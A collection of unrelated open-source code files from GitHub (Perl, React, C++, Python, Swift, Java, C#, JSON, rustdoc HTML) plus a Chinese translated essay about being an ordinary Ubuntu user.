package Paws::SageMaker::MonitoringResources; use Moose; has ClusterConfig => (is => 'ro', isa => 'Paws::SageMaker::MonitoringClusterConfig', required => 1); 1; ### main pod documentation begin ### =head1 NAME Paws::SageMaker::MonitoringResources =head1 USAGE This class represents one of two things: =head3 Arguments in a call to a service Use the attributes of this class as arguments to methods. You shouldn't make instances of this class. Each attribute should be used as a named argument in the calls that expect this type of object. As an example, if Att1 is expected to be a Paws::SageMaker::MonitoringResources object: $service_obj->Method(Att1 => { ClusterConfig => $value, ..., ClusterConfig => $value }); =head3 Results returned from an API call Use accessors for each attribute. If Att1 is expected to be an Paws::SageMaker::MonitoringResources object: $result = $service_obj->Method(...); $result->Att1->ClusterConfig =head1 DESCRIPTION Identifies the resources to deploy for a monitoring job. =head1 ATTRIBUTES =head2 B<REQUIRED> ClusterConfig => L<Paws::SageMaker::MonitoringClusterConfig> The configuration for the cluster resources used to run the processing job. =head1 SEE ALSO This class forms part of L<Paws>, describing an object used in L<Paws::SageMaker> =head1 BUGS and CONTRIBUTIONS The source code is located here: L<https://github.com/pplu/aws-sdk-perl> Please report bugs to: L<https://github.com/pplu/aws-sdk-perl/issues> =cut
{ "pile_set_name": "Github" }
import React from 'react' import { ICON_CMD } from '@/config' import { nilOrEmpty } from '@/utils' import DocUploader from '@/containers/DocUploader' import Maybe from '@/components/Maybe' import { Wrapper, Thumbnil, Poster, UploaderLabel, UploaderIcon, UploaderText, CoverImg, ThumbCermeraIcon, PosterCermeraIcon, } from './styles/cover_uploader' import { inputOnChange, usePosterAsThumbnil } from './logic' const CoverUploader = ({ thumbnil, poster }) => ( <Wrapper> <DocUploader onUploadDone={() => inputOnChange('thumbnil')} pasteImage={false} > {nilOrEmpty(thumbnil) ? ( <Thumbnil> <UploaderLabel> <UploaderIcon src={`${ICON_CMD}/image_upload.svg`} /> <UploaderText>缩略图</UploaderText> </UploaderLabel> </Thumbnil> ) : ( <Thumbnil> <ThumbCermeraIcon src={`${ICON_CMD}/camera.svg`} /> <CoverImg src={thumbnil} /> </Thumbnil> )} </DocUploader> {nilOrEmpty(poster) ? ( <Poster> <DocUploader onUploadDone={() => inputOnChange('poster')} pasteImage={false} > <UploaderLabel> <UploaderIcon src={`${ICON_CMD}/image_upload.svg`} /> <UploaderText>上传封面图</UploaderText> </UploaderLabel> </DocUploader> <br /> <Maybe test={!nilOrEmpty(thumbnil)}> <UploaderLabel> <UploaderIcon src={`${ICON_CMD}/copy.svg`} /> <UploaderText onClick={usePosterAsThumbnil}> 使用缩略图 </UploaderText> </UploaderLabel> </Maybe> </Poster> ) : ( <DocUploader onUploadDone={() => inputOnChange('poster')} pasteImage={false} > <Poster> <PosterCermeraIcon src={`${ICON_CMD}/camera.svg`} /> <CoverImg src={poster} /> </Poster> </DocUploader> )} </Wrapper> ) export default React.memo(CoverUploader)
{ "pile_set_name": "Github" }
/* ============================================================================== This file is part of the JUCE library. Copyright (c) 2020 - Raw Material Software Limited JUCE is an open source library subject to commercial or open-source licensing. The code included in this file is provided under the terms of the ISC license http://www.isc.org/downloads/software-support-policy/isc-license. Permission To use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted provided that the above copyright notice and this permission notice appear in all copies. JUCE IS PROVIDED "AS IS" WITHOUT ANY WARRANTY, AND ALL WARRANTIES, WHETHER EXPRESSED OR IMPLIED, INCLUDING MERCHANTABILITY AND FITNESS FOR PURPOSE, ARE DISCLAIMED. ============================================================================== */ namespace juce { MidiOutput::MidiOutput (const String& deviceName, const String& deviceIdentifier) : Thread ("midi out"), deviceInfo (deviceName, deviceIdentifier) { } void MidiOutput::sendBlockOfMessagesNow (const MidiBuffer& buffer) { for (const auto metadata : buffer) sendMessageNow (metadata.getMessage()); } void MidiOutput::sendBlockOfMessages (const MidiBuffer& buffer, double millisecondCounterToStartAt, double samplesPerSecondForBuffer) { // You've got to call startBackgroundThread() for this to actually work.. jassert (isThreadRunning()); // this needs to be a value in the future - RTFM for this method! jassert (millisecondCounterToStartAt > 0); auto timeScaleFactor = 1000.0 / samplesPerSecondForBuffer; for (const auto metadata : buffer) { auto eventTime = millisecondCounterToStartAt + timeScaleFactor * metadata.samplePosition; auto* m = new PendingMessage (metadata.data, metadata.numBytes, eventTime); const ScopedLock sl (lock); if (firstMessage == nullptr || firstMessage->message.getTimeStamp() > eventTime) { m->next = firstMessage; firstMessage = m; } else { auto* mm = firstMessage; while (mm->next != nullptr && mm->next->message.getTimeStamp() <= eventTime) mm = mm->next; m->next = mm->next; mm->next = m; } } notify(); } void MidiOutput::clearAllPendingMessages() { const ScopedLock sl (lock); while (firstMessage != nullptr) { auto* m = firstMessage; firstMessage = firstMessage->next; delete m; } } void MidiOutput::startBackgroundThread() { startThread (9); } void MidiOutput::stopBackgroundThread() { stopThread (5000); } void MidiOutput::run() { while (! threadShouldExit()) { auto now = Time::getMillisecondCounter(); uint32 eventTime = 0; uint32 timeToWait = 500; PendingMessage* message; { const ScopedLock sl (lock); message = firstMessage; if (message != nullptr) { eventTime = (uint32) roundToInt (message->message.getTimeStamp()); if (eventTime > now + 20) { timeToWait = eventTime - (now + 20); message = nullptr; } else { firstMessage = message->next; } } } if (message != nullptr) { std::unique_ptr<PendingMessage> messageDeleter (message); if (eventTime > now) { Time::waitForMillisecondCounter (eventTime); if (threadShouldExit()) break; } if (eventTime > now - 200) sendMessageNow (message->message); } else { jassert (timeToWait < 1000 * 30); wait ((int) timeToWait); } } clearAllPendingMessages(); } } // namespace juce
{ "pile_set_name": "Github" }
import sys from loguru import logger # fmt: off logger.remove() logger.add(sys.stderr, format="", colorize=True, backtrace=False, diagnose=True) def a(): 1 / 0 + 1 * 0 - 1 % 0 // 1**0 @ 1 # Error def b(): a() or False == None != True def c(): 1, 2.5, 3.0, 0.4, "str", r"rrr", rb"binary", b() def d(): min(range(1, 10)), list(), dict(), c(), ... def e(x): x in [1], x in (1,), x in {1}, x in {1: 1}, d() try: e(0) except ZeroDivisionError: logger.exception("")
{ "pile_set_name": "Github" }
{ "type": "crafting_shapeless", "group": "alloys", "conditions": [ { "type": "minecraft:item_exists", "item": "railcraft:ingot" }, { "type": "railcraft:module", "module": "railcraft:resources" }, { "type": "railcraft:ore_exists", "tag": "ingotZinc" }, { "type": "railcraft:ore_exists", "tag": "ingotCopper" }, { "type": "forge:not", "value": { "type": "railcraft:ore_exists", "tag": "dustBrass" } } ], "ingredients": [ { "type": "forge:ore_dict", "ore": "ingotZinc" }, { "type": "forge:ore_dict", "ore": "ingotCopper" }, { "type": "forge:ore_dict", "ore": "ingotCopper" }, { "type": "forge:ore_dict", "ore": "ingotCopper" } ], "result": { "item": "railcraft:ingot", "data": 9, "count": 4 } }
{ "pile_set_name": "Github" }
PST$extCallbacks = {}; PST$registerExtensibleCallback = (name, fn) => { PST$extCallbacks[name] = fn; }; var lib_srandom_getBoolean = function(vm, args) { var intPtr = args[0][1]; var value = 0; value = (((intPtr[2][0][1] * 20077) + 12345) & 65535); intPtr[2][0] = buildInteger(vm[13], value); if (((value & 1) == 0)) { return vm[16]; } return vm[15]; }; var lib_srandom_getFloat = function(vm, args) { var intPtr = args[0][1]; var value1 = 0; value1 = (((intPtr[2][0][1] * 20077) + 12345) & 65535); var value2 = (((value1 * 20077) + 12345) & 65535); var value3 = (((value2 * 20077) + 12345) & 65535); intPtr[2][0] = buildInteger(vm[13], value3); value1 = ((value1 >> 8) & 255); value2 = ((value2 >> 8) & 255); value3 = ((value3 >> 8) & 255); return buildFloat(vm[13], (((value1 << 16) | (value2 << 8) | value3) / 16777216.0)); }; var lib_srandom_getInteger = function(vm, args) { var intPtr = args[0][1]; var value1 = 0; value1 = (((intPtr[2][0][1] * 20077) + 12345) & 65535); var value2 = (((value1 * 20077) + 12345) & 65535); var value3 = (((value2 * 20077) + 12345) & 65535); var value4 = (((value3 * 20077) + 12345) & 65535); intPtr[2][0] = buildInteger(vm[13], value4); value1 = ((value1 >> 8) & 255); value2 = ((value2 >> 8) & 255); value3 = ((value3 >> 8) & 255); value4 = ((value4 >> 8) & 127); return buildInteger(vm[13], ((value4 << 24) | (value3 << 16) | (value2 << 8) | value1)); };
{ "pile_set_name": "Github" }
// Telegrammer - Telegram Bot Swift SDK. // This file is autogenerated by API/generate_wrappers.rb script. /** Represents a link to a page containing an embedded video player or a video file. By default, this video file will be sent by the user with an optional caption. Alternatively, you can use input_message_content to send a message with the specified content instead of the video. If an InlineQueryResultVideo message contains an embedded video (e.g., YouTube), you must replace its content using input_message_content. SeeAlso Telegram Bot API Reference: [InlineQueryResultVideo](https://core.telegram.org/bots/api#inlinequeryresultvideo) */ public final class InlineQueryResultVideo: Codable { /// Custom keys for coding/decoding `InlineQueryResultVideo` struct enum CodingKeys: String, CodingKey { case type = "type" case id = "id" case videoUrl = "video_url" case mimeType = "mime_type" case thumbUrl = "thumb_url" case title = "title" case caption = "caption" case parseMode = "parse_mode" case videoWidth = "video_width" case videoHeight = "video_height" case videoDuration = "video_duration" case description = "description" case replyMarkup = "reply_markup" case inputMessageContent = "input_message_content" } /// Type of the result, must be video public var type: String /// Unique identifier for this result, 1-64 bytes public var id: String /// A valid URL for the embedded video player or video file public var videoUrl: String /// Mime type of the content of video url, “text/html” or “video/mp4” public var mimeType: String /// URL of the thumbnail (jpeg only) for the video public var thumbUrl: String /// Title for the result public var title: String /// Optional. Caption of the video to be sent, 0-1024 characters after entities parsing public var caption: String? /// Optional. Mode for parsing entities in the video caption. See formatting options for more details. public var parseMode: String? /// Optional. Video width public var videoWidth: Int? /// Optional. Video height public var videoHeight: Int? /// Optional. Video duration in seconds public var videoDuration: Int? /// Optional. Short description of the result public var description: String? /// Optional. Inline keyboard attached to the message public var replyMarkup: InlineKeyboardMarkup? /// Optional. Content of the message to be sent instead of the video. This field is required if InlineQueryResultVideo is used to send an HTML-page as a result (e.g., a YouTube video). public var inputMessageContent: InputMessageContent? public init (type: String, id: String, videoUrl: String, mimeType: String, thumbUrl: String, title: String, caption: String? = nil, parseMode: String? = nil, videoWidth: Int? = nil, videoHeight: Int? = nil, videoDuration: Int? = nil, description: String? = nil, replyMarkup: InlineKeyboardMarkup? = nil, inputMessageContent: InputMessageContent? = nil) { self.type = type self.id = id self.videoUrl = videoUrl self.mimeType = mimeType self.thumbUrl = thumbUrl self.title = title self.caption = caption self.parseMode = parseMode self.videoWidth = videoWidth self.videoHeight = videoHeight self.videoDuration = videoDuration self.description = description self.replyMarkup = replyMarkup self.inputMessageContent = inputMessageContent } }
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="generator" content="rustdoc"> <meta name="description" content="API documentation for the Rust `consts` mod in crate `std`."> <meta name="keywords" content="rust, rustlang, rust-lang, consts"> <title>std::env::consts - Rust</title> <link rel="stylesheet" type="text/css" href="../../../rustdoc.css"> <link rel="stylesheet" type="text/css" href="../../../main.css"> <link rel="shortcut icon" href="https://doc.rust-lang.org/favicon.ico"> </head> <body class="rustdoc"> <!--[if lte IE 8]> <div class="warning"> This old browser is unsupported and will most likely display funky things. </div> <![endif]--> <nav class="sidebar"> <a href='../../../std/index.html'><img src='https://www.rust-lang.org/logos/rust-logo-128x128-blk-v2.png' alt='' width='100'></a> <p class='location'><a href='../../index.html'>std</a>::<wbr><a href='../index.html'>env</a></p><script>window.sidebarCurrent = {name: 'consts', ty: 'mod', relpath: '../'};</script><script defer src="../sidebar-items.js"></script> </nav> <nav class="sub"> <form class="search-form js-only"> <div class="search-container"> <input class="search-input" name="search" autocomplete="off" placeholder="Click or press ‘S’ to search, ‘?’ for more options…" type="search"> </div> </form> </nav> <section id='main' class="content mod"> <h1 class='fqn'><span class='in-band'>Module <a href='../../index.html'>std</a>::<wbr><a href='../index.html'>env</a>::<wbr><a class='mod' href=''>consts</a></span><span class='out-of-band'><span id='render-detail'> <a id="toggle-all-docs" href="javascript:void(0)" title="collapse all docs"> [<span class='inner'>&#x2212;</span>] </a> </span><a id='src-3014' class='srclink' href='../../../src/std/env.rs.html#605-702' title='goto source code'>[src]</a></span></h1> <div class='docblock'><p>Constants associated with the current target</p> </div><h2 id='constants' class='section-header'><a href="#constants">Constants</a></h2> <table> <tr class=' module-item'> <td><a class='constant' href='constant.ARCH.html' title='std::env::consts::ARCH'>ARCH</a></td> <td class='docblock short'> <p>A string describing the architecture of the CPU that this is currently in use.</p> </td> </tr> <tr class=' module-item'> <td><a class='constant' href='constant.DLL_EXTENSION.html' title='std::env::consts::DLL_EXTENSION'>DLL_EXTENSION</a></td> <td class='docblock short'> <p>Specifies the file extension used for shared libraries on this platform that goes after the dot: in this case, <code>so</code>.</p> </td> </tr> <tr class=' module-item'> <td><a class='constant' href='constant.DLL_PREFIX.html' title='std::env::consts::DLL_PREFIX'>DLL_PREFIX</a></td> <td class='docblock short'> <p>Specifies the filename prefix used for shared libraries on this platform: in this case, <code>lib</code>.</p> </td> </tr> <tr class=' module-item'> <td><a class='constant' href='constant.DLL_SUFFIX.html' title='std::env::consts::DLL_SUFFIX'>DLL_SUFFIX</a></td> <td class='docblock short'> <p>Specifies the filename suffix used for shared libraries on this platform: in this case, <code>.so</code>.</p> </td> </tr> <tr class=' module-item'> <td><a class='constant' href='constant.EXE_EXTENSION.html' title='std::env::consts::EXE_EXTENSION'>EXE_EXTENSION</a></td> <td class='docblock short'> <p>Specifies the file extension, if any, used for executable binaries on this platform: in this case, the empty string.</p> </td> </tr> <tr class=' module-item'> <td><a class='constant' href='constant.EXE_SUFFIX.html' title='std::env::consts::EXE_SUFFIX'>EXE_SUFFIX</a></td> <td class='docblock short'> <p>Specifies the filename suffix used for executable binaries on this platform: in this case, the empty string.</p> </td> </tr> <tr class=' module-item'> <td><a class='constant' href='constant.FAMILY.html' title='std::env::consts::FAMILY'>FAMILY</a></td> <td class='docblock short'> <p>The family of the operating system. In this case, <code>unix</code>.</p> </td> </tr> <tr class=' module-item'> <td><a class='constant' href='constant.OS.html' title='std::env::consts::OS'>OS</a></td> <td class='docblock short'> <p>A string describing the specific operating system in use: in this case, <code>linux</code>.</p> </td> </tr> </table></section> <section id='search' class="content hidden"></section> <section class="footer"></section> <aside id="help" class="hidden"> <div> <h1 class="hidden">Help</h1> <div class="shortcuts"> <h2>Keyboard Shortcuts</h2> <dl> <dt>?</dt> <dd>Show this help dialog</dd> <dt>S</dt> <dd>Focus the search field</dd> <dt>&larrb;</dt> <dd>Move up in search results</dd> <dt>&rarrb;</dt> <dd>Move down in search results</dd> <dt>&#9166;</dt> <dd>Go to active search result</dd> </dl> </div> <div class="infos"> <h2>Search Tricks</h2> <p> Prefix searches with a type followed by a colon (e.g. <code>fn:</code>) to restrict the search to a given type. </p> <p> Accepted types are: <code>fn</code>, <code>mod</code>, <code>struct</code>, <code>enum</code>, <code>trait</code>, <code>type</code>, <code>macro</code>, and <code>const</code>. </p> <p> Search functions by type signature (e.g. <code>vec -> usize</code>) </p> </div> </div> </aside> <script> window.rootPath = "../../../"; window.currentCrate = "std"; window.playgroundUrl = "https://play.rust-lang.org/"; </script> <script src="../../../jquery.js"></script> <script src="../../../main.js"></script> <script src="../../../playpen.js"></script> <script defer src="../../../search-index.js"></script> </body> </html>
{ "pile_set_name": "Github" }
//--metadoc State copyright Steve Dekorte 2002 //--metadoc State license BSD revised #include "IoState.h" #include "IoObject.h" IoObject *IoState_currentCoroutine(IoState *self) { return self->currentCoroutine; } void IoState_setCurrentCoroutine_(IoState *self, IoObject *coroutine) { self->currentCoroutine = coroutine; self->currentIoStack = IoCoroutine_rawIoStack(coroutine); Collector_setMarkBeforeSweepValue_(self->collector, coroutine); } void IoState_yield(IoState *self) { IoMessage_locals_performOn_(self->yieldMessage, self->lobby, self->lobby); }
{ "pile_set_name": "Github" }
(define-module scheme.vector.s16 (extend gauche.uvector.s16))
{ "pile_set_name": "Github" }
/* * ProGuard -- shrinking, optimization, obfuscation, and preverification * of Java bytecode. * * Copyright (c) 2002-2020 Guardsquare NV * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the Free * Software Foundation; either version 2 of the License, or (at your option) * any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for * more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ package proguard.optimize.info; import proguard.classfile.*; import proguard.classfile.visitor.MemberVisitor; /** * This MemberVisitor marks all methods that it visits as not having any side * effects. It will make the SideEffectMethodMarker consider them as such * without further analysis. * * @see SideEffectMethodMarker * @author Eric Lafortune */ public class NoSideEffectMethodMarker implements MemberVisitor { // Implementations for MemberVisitor. public void visitAnyMember(Clazz Clazz, Member member) { // Ignore any attempts to mark fields. } public void visitProgramMethod(ProgramClass programClass, ProgramMethod programMethod) { markNoSideEffects(programMethod); } public void visitLibraryMethod(LibraryClass libraryClass, LibraryMethod libraryMethod) { markNoSideEffects(libraryMethod); } // Small utility methods. private static void markNoSideEffects(Method method) { MethodOptimizationInfo.getMethodOptimizationInfo(method).setNoSideEffects(); } public static boolean hasNoSideEffects(Method method) { return MethodOptimizationInfo.getMethodOptimizationInfo(method).hasNoSideEffects(); } }
{ "pile_set_name": "Github" }
那些乌央乌央的、普普通通的 Ubuntu 用户们 ============ > “更好的捕鼠器“ 并不是一个合格生物学家的专用谚语。就像 Ubuntu,它只需要好好工作,而不会让我惊着。 (LCTT 译注,“做个更好的捕鼠器”是个国外的谚语,意指不断有人发明更好的捕鼠器,然而其实没什么大的意义。) ### Roblimo 的藏身处 我从来就不是一个计算机极客。事实上,我在网上第一次小有名气是为 Time/Life 写一个每周专栏的时候,这个专栏的名字是“这台老电脑”。它介绍的是一台古老的设备能够做什么——通常是在上面安装 Linux——在那之后,我又在Andover.net 上开设了一个相同的专栏,名字叫做“廉价计算”,是关于如何在这个世界省钱的——而其它那些大部分在线计算机专栏都是在让你花钱花到你没饭吃(LCTT 译者注:作者的意思是“我算是一股清流了”)。 据我所知的那些大部分的 Linux 的早期使用者,都痴迷于他们的电脑,还有那些让他们电脑有用的软件。他们乐于仔细研读源代码并且做出一点小小的修改。最关键的是,他们大多是学计算机的,或者是从事 IT 行业的。他们的计算机和计算机网络迷住了他们,就像他们本该那样似的。 我过去是(现在也是)一个作者,不是一个搞计算机的。于我而言,计算机一直都只是一个工具而已。我希望它们能够老老实实的听话,我让它们做啥就做啥,最多可以出一点点小毛病。我喜欢图形化界面,因为我记不住那么长的命令行来管理我的电脑和网络。当然,我能找到它们,也能输入它们,但是我可不想费劲。 在 Linux 这个圈子里,有那么一段时间用户很少。“你什么意思?你只是想要你的电脑去写点文章,或者最多添加点 HTML 么?”开发者和管理员这样询问道,好像所有除了编写代码之外的奉献者们都不如他们所贡献的。 但是尽管面临这些讥笑和嘲讽,我在一次又一次的宣讲和谈话中提出一个像这样的主题:“不要光挠自己的痒痒,也帮你女朋友解决一下啊!还有你的同事,以及那些你最喜欢的饭店的厨子们,还有你的医生。难道你不希望你的医生专注于医治病人,而是在 `apt get` 以及 `grep` 里心烦意乱?“ 所以,是的,因为我希望能够更简单的使用 Linux,我是一个[早期的曼德拉草用户][1],而现在,我是一个快乐的 Ubuntu 使用者。 为什么是 Ubuntu?你一定是在逗我?为什么不是呢?它是 Linux 发行版中的丰田凯美瑞(或者本田思域)!平凡而卓越。它是如此的流行,你可以在 IRC、LinuxQuestion 社区、 Ubuntu 自己的论坛,以及许许多多的地方得到帮助。 当然,使用 Debian 或者 Fedora 也是很酷的,还有 Mint 也是开箱即用又华丽万分。但是我依然感兴趣于写一些文章和添加一点点 HTML,以及在浏览器中随时看点什么、在 Google Docs 为一两个公司客气写点什么,随时接收我的邮件,用一张过去或者现在的图片做这做那……基本上我就在电脑上干点这些。 当这一切都正常的时候,我的桌面是什么样子就没有意义了。我又看不见它!它整个被应用窗口覆盖了!然后我使用了两个显示器,不仅仅是一个。我有……让我数数,17 个标签页打开在两个 Chrome 窗口中。并且 GIMP 在运行中,[Bluefish][2],这个我刚才在使用的东西,用来书写这篇文章。 所以对我而言,Ubuntu 是我的阻力最小的道路。Mint 或许比较可爱,但是当你使用它的时候去掉它的那些边边角角的修饰,它不就是 Ubuntu 吗?所以如果我是用一个个相同的程序,并且不能看见桌面环境,所以谁还在意它长什么样子? 有些研究表明 Mint 正在变得更加流行,而有些人说 Debian 更甚。但是在他们的研究中,Ubuntu 永远都是居于最上位的,尽管这一年又一年过去了。 所以称我为大多数人吧!说我乏味吧!称我为乌央乌央的、普普通通的 Ubuntu 用户吧——至少从现在开始…… ------ 作者简介: ![](http://0.gravatar.com/avatar/f861a631676e6d4d2f4e4de2454f230e?s=80&d=blank&r=pg) Robin "Roblimo" Miller 是一个自由职业作者,并且是开源技术集团的前主编,该公司旗下有 SourceForge、 freshmeat、Linux.com、NewForge、ThinkGeek 以及 Slashdot,并且他直到最近依然在 Slashdot 担任视频编辑。虽然他现在基本上退休了,但他仍然兼任 Grid Dynamics 的社论顾问,而且(显然)在为 FOSS Force 在写文章。 ------ via: http://fossforce.com/2017/01/many-humble-ubuntu-users/ 作者:[Robin "Roblimo" Miller][a] 译者:[svtter](https://github.com/svtter) 校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: http://www.roblimo.com/ [1]: https://linux.slashdot.org/story/00/11/02/2324224/mandrake-72-in-wal-mart-a-good-idea [2]: http://bluefish.openoffice.nl/index.html
{ "pile_set_name": "Github" }
package field.util; import java.util.Arrays; import java.util.HashMap; import java.util.LinkedHashMap; import java.util.Map; import field.launch.iUpdateable; /** * thread safe task queue */ public class HashQueue implements iUpdateable { protected Map<Object, Task> live = new LinkedHashMap<Object, Task>(); protected Object lock = new Object(); public void update() { if (live.size() == 0) return; Map<Object, Task> todo; synchronized (lock) { todo = live; live = new LinkedHashMap<Object, Task>(); } for (Task t : todo.values()) { t.run(); } todo.clear(); } protected void addTask(Object key, Task task) { synchronized (lock) { live.put(key, task); } } public void removeTask(Object key) { synchronized (lock) { Task task = live.remove(key); if (task!=null) task.remove(); } } abstract public class Task { StackTraceElement[] alloc; private final Object key; public Task(Object key) { this.key = key; assert (alloc = new Exception().getStackTrace())!=null; HashQueue.this.addTask(key, this); } abstract public void run(); /** * run methods can call this if they want to have another crack at it * * @param q */ protected void recur() { addTask(key, this); } protected void remove() { } public String toString() { return "alloc at :" + Arrays.asList(alloc); } } static public class Gate extends Task { boolean con = true; private final iUpdateable up; private final boolean touch; public Gate(Object key, HashQueue in, iUpdateable up, boolean touch) { in.super(key); this.up = up; this.touch = touch; if (touch) con = false; } @Override public void run() { up.update(); if (con) recur(); if (touch) con = false; } public void goOn() { con = true; } public void dontGoOn() { con = false; } } public class Updateable extends Task { iUpdateable u; public Updateable(Object key, iUpdateable u) { super(key); this.u = u; } public void run() { u.update(); recur(); } } HashMap upMap = new HashMap(); public void addUpdateable(Object key, iUpdateable updateable) { Updateable up = new Updateable(key, updateable); upMap.put(updateable, up); } public void removeUpdateable(iUpdateable view) { Updateable up = (Updateable) upMap.remove(view); up.remove(); } public int getNumTasks() { synchronized (lock) { return live.size(); } } public void clear() { synchronized (lock) { live.clear(); } } }
{ "pile_set_name": "Github" }
using System; using System.Collections.Generic; using System.Text; namespace Surging.Core.CPlatform.Utilities { public class DateTimeConverter { public static long DateTimeToUnixTimestamp( DateTime dateTime) { var start = new DateTime(1970, 1, 1, 0, 0, 0, dateTime.Kind); return Convert.ToInt64((dateTime - start).TotalSeconds); } public static DateTime UnixTimestampToDateTime( long timestamp, DateTime? time=null) { var start = time ==null?new DateTime(1970, 1, 1, 0, 0, 0): new DateTime(1970, 1, 1, 0, 0, 0,time.Value.Kind); return start.AddSeconds(timestamp); } } }
{ "pile_set_name": "Github" }
{ "component": true }
{ "pile_set_name": "Github" }